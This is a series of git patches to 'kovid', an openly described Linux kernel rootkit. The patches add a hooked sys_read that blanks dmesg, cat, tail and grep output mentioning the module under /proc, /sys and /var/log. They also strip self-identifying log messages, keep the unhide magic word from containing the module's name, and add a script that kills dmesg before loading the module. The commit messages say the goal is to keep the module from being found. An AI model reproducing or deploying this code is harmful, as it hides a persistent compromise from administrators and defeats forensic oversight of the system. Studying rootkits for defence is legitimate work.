From b31d5774ff0a504f69f25483a5223a72ba7c6ba7 Mon Sep 17 00:00:00 2001 From: JNE Date: Mon, 14 Oct 2024 21:22:22 +0100 Subject: [PATCH 1/8] a reminder --- src/kovid.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/kovid.c b/src/kovid.c index 1136297..98a1ec6 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -437,7 +437,8 @@ static int proc_timeout(unsigned int t) { } /** - * Simple commands: hide, , show + * Current ui + * XXX this needs to go */ static ssize_t write_cb(struct file *fptr, const char __user *user, size_t size, loff_t *offset) { From c4484ec2ef2cf3e6688c1b23d24b0e698741f508 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 15 Oct 2024 17:59:18 +0100 Subject: [PATCH 2/8] Hide kovid word from /proc /sys /var/log This is tricky! kovid can appear in log files if something goes wrong. Like taint messages in dmesg, just to name one. This patch if focused when compiling kovid in release mode: DEPLOY=1 make This way, kv is not supposed to make its way into logs like kern.log (dmesg) but if that happens kern.log will become "empty" and current sessions in polling like "dmesg -w" will die (without an error) and kovid taint messages will not be seen. This a more radical approach but IMO necessary because the last thing we want is that this lkm to be found. I only tackle /proc, /sys and /var/log and let other places untouched, as expected, one should not include this lkm name anywhere else. TODO: make sure magic word does not, by any chance, has "kovid" name in it ;) --- src/sys.c | 87 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/src/sys.c b/src/sys.c index 5a4486e..2e32839 100644 --- a/src/sys.c +++ b/src/sys.c @@ -29,6 +29,7 @@ sys64 real_m_clone; sys64 real_m_kill; sys64 real_m_execve; sys64 real_m_bpf; +sys64 real_m_read; #define PT_REGS_PARM1(x) ((x)->di) #define PT_REGS_PARM2(x) ((x)->si) @@ -173,6 +174,91 @@ static asmlinkage long m_kill(struct pt_regs *regs) return real_m_kill(regs); } +/** + * Given an fd, check if parent + * directory is a match. + */ +static bool is_sys_parent(unsigned int fd) { + struct dentry *dentry; + struct dentry *parent_dentry; + char *path_buffer; + bool rv = false; + + struct fd f = fdget(fd); + if (!f.file) + goto out; + + dentry = f.file->f_path.dentry; + parent_dentry = dentry->d_parent; + + path_buffer = (char *)__get_free_page(GFP_KERNEL); + if (!path_buffer) { + fdput(f); + goto out; + } + + char *parent_path = d_path(&f.file->f_path, path_buffer, PAGE_SIZE); + if (!IS_ERR(parent_path)) { + if (!strncmp(parent_path, "/proc", 5) || + !strncmp(parent_path, "/sys",4) || + !strncmp(parent_path, "/var/log", 8)) + rv = true; + } + + fdput(f); + free_page((unsigned long)path_buffer); + +out: + return rv; +} + + +static asmlinkage long m_read(struct pt_regs *regs) { + char *buf = NULL; + const char __user *arg; + size_t size; + long rv; + struct fs_file_node *fs = NULL; + bool is_dmesg = false; + + /** call the real thing first */ + rv = real_m_read(regs); + + fs = fs_get_file_node(current); + if (!fs || !fs->filename) + goto out; + + is_dmesg = !strcmp(fs->filename, "dmesg"); + + /** Apply only for dmesg & cat commands */ + if ((!is_dmesg) && + (strcmp(fs->filename, "cat") != 0) && + (strcmp(fs->filename, "grep") != 0)) + goto out; + + size = PT_REGS_PARM3(regs); + if (!(buf = (char *)kmalloc(size, GFP_KERNEL))) + goto out; + + arg = (const char __user*)PT_REGS_PARM2(regs); + if (!copy_from_user((void *)buf, (void *)arg, size)) { + size_t len_to_remove; + int newrv; + char *newline; + char *dest = strstr(buf, "kovid"); + if (!dest) + goto out; + + /** if kovid is here, skip */ + if (is_dmesg /** special case :( */ || + is_sys_parent((unsigned int)PT_REGS_PARM1(regs))) + rv=0; + } +out: + kv_mem_free(&fs, &buf); + return rv; +} + /** * Stolen static/private helpers * from the kernel @@ -948,6 +1034,7 @@ static struct ftrace_hook ft_hooks[] = { {"sys_exit_group", m_exit_group, &real_m_exit_group, true}, {"sys_clone", m_clone, &real_m_clone, true}, {"sys_kill", m_kill, &real_m_kill, true}, + {"sys_read", m_read, &real_m_read, true}, {"sys_bpf", m_bpf, &real_m_bpf, true}, {"tcp4_seq_show", m_tcp4_seq_show, &real_m_tcp4_seq_show}, {"udp4_seq_show", m_udp4_seq_show, &real_m_udp4_seq_show}, From a5ccd832914b6fa768c5435de9828f7fd389bdd4 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 15 Oct 2024 18:03:57 +0100 Subject: [PATCH 3/8] don't trust the dice we roll If it rolls and it is rk's name, we could be unable to unload (see previous commit). Or maybe locking the unload could be a feature actually, but for another time maybe.... --- src/kovid.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/src/kovid.c b/src/kovid.c index 98a1ec6..4967631 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -339,8 +339,23 @@ static void kv_unhide_mod(void) { static char *get_unhide_magic_word(void) { static char *magic_word; - if(!magic_word) - magic_word = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE); + + if(!magic_word) { + char *m = NULL; + + /** must be pretty unlucky + * for this to be forever loop + */ + do { + if (m) { + kfree(m); + m = NULL; + } + m = kv_util_random_AZ_string(MAX_MAGIC_WORD_SIZE); + } while(strstr(m, "kovid")); + + magic_word = m; + } /* magic_word must be freed later */ return magic_word; From 3af1317f6e34fcc0c4dcb388f2e950087e8a7149 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 8 Oct 2024 20:58:55 +0100 Subject: [PATCH 4/8] Remove any debug with kovid in it --- src/fs.c | 2 -- src/kovid.c | 4 ++-- 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/src/fs.c b/src/fs.c index 68fa1f3..2612416 100644 --- a/src/fs.c +++ b/src/fs.c @@ -173,7 +173,6 @@ static int _fs_add_name(const char *names[], bool ro, u64 ino) { if (!hn) return -ENOMEM; - prinfo("addname '%s' ro=%d\n", *s, ro); hn->name = kcalloc(1, len+1, GFP_KERNEL); strncpy(hn->name, (const char*)*s, len); hn->ro = ro; @@ -223,7 +222,6 @@ bool fs_del_name(const char *names[]) { void fs_names_cleanup(void) { struct hidden_names *node, *node_safe; list_for_each_entry_safe(node, node_safe, &names_node, list) { - prinfo("cleaning '%s'\n", node->name); list_del(&node->list); if (node->name) kfree(node->name); diff --git a/src/kovid.c b/src/kovid.c index 4967631..4c7c598 100644 --- a/src/kovid.c +++ b/src/kovid.c @@ -834,7 +834,7 @@ static int __init kv_init(void) { op_lock = 1; #endif - prinfo(KERN_INFO "%s loaded.\n", MODNAME); + prinfo(KERN_INFO "loaded.\n"); goto leave; unroll_init: @@ -891,7 +891,7 @@ static void __exit kv_cleanup(void) { fs_names_cleanup(); - prinfo("kovid unloaded.\n"); + prinfo("unloaded.\n"); } module_init(kv_init); From d6359446cca4aff81d90f7475a7c7577d6743b99 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 15 Oct 2024 18:13:08 +0100 Subject: [PATCH 5/8] Include one more tool --- src/sys.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/src/sys.c b/src/sys.c index 2e32839..49ec083 100644 --- a/src/sys.c +++ b/src/sys.c @@ -228,11 +228,13 @@ static asmlinkage long m_read(struct pt_regs *regs) { if (!fs || !fs->filename) goto out; + /** special case :( */ is_dmesg = !strcmp(fs->filename, "dmesg"); - /** Apply only for dmesg & cat commands */ + /** Apply only for a few commands */ if ((!is_dmesg) && (strcmp(fs->filename, "cat") != 0) && + (strcmp(fs->filename, "tail") != 0) && (strcmp(fs->filename, "grep") != 0)) goto out; @@ -250,7 +252,7 @@ static asmlinkage long m_read(struct pt_regs *regs) { goto out; /** if kovid is here, skip */ - if (is_dmesg /** special case :( */ || + if (is_dmesg || is_sys_parent((unsigned int)PT_REGS_PARM1(regs))) rv=0; } From cee93e091b89e5a0a8506932451ed49044385939 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 8 Oct 2024 22:06:19 +0100 Subject: [PATCH 6/8] Add run script --- run.sh | 4 ++++ 1 file changed, 4 insertions(+) create mode 100755 run.sh diff --git a/run.sh b/run.sh new file mode 100755 index 0000000..a41a525 --- /dev/null +++ b/run.sh @@ -0,0 +1,4 @@ +#!/bin/bash +# rm -f this file after use +sudo kill -PIPE `pgrep dmesg` +sudo insmod ./kovid.ko From c54a54cd1a86897965427ca8592ff261523a49e1 Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 15 Oct 2024 18:55:11 +0100 Subject: [PATCH 7/8] Remove unused vars --- src/sys.c | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/sys.c b/src/sys.c index 49ec083..3bab6c5 100644 --- a/src/sys.c +++ b/src/sys.c @@ -244,9 +244,6 @@ static asmlinkage long m_read(struct pt_regs *regs) { arg = (const char __user*)PT_REGS_PARM2(regs); if (!copy_from_user((void *)buf, (void *)arg, size)) { - size_t len_to_remove; - int newrv; - char *newline; char *dest = strstr(buf, "kovid"); if (!dest) goto out; From 9abe34a096e542a9348ee060fea8ecafe5a0001a Mon Sep 17 00:00:00 2001 From: JNE Date: Tue, 15 Oct 2024 18:57:21 +0100 Subject: [PATCH 8/8] Update readme --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 39b1ec3..014722b 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,9 @@ Read [Phrack magazine](http://phrack.org/issues/71/12.html#article) where g1inko Linux hash-virtual-machine 5.19.0-41-generic #42~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC UTC 2 x86_64 x86_64 x86_64 GNU/Linux + Linux Standard-PC-Q35-ICH9-2009 5.15.0-43-generic #46-Ubuntu + SMP x86_64 x86_64 x86_64 GNU/Linux + ## 2 - Features ### 2.1 Hide itself (module)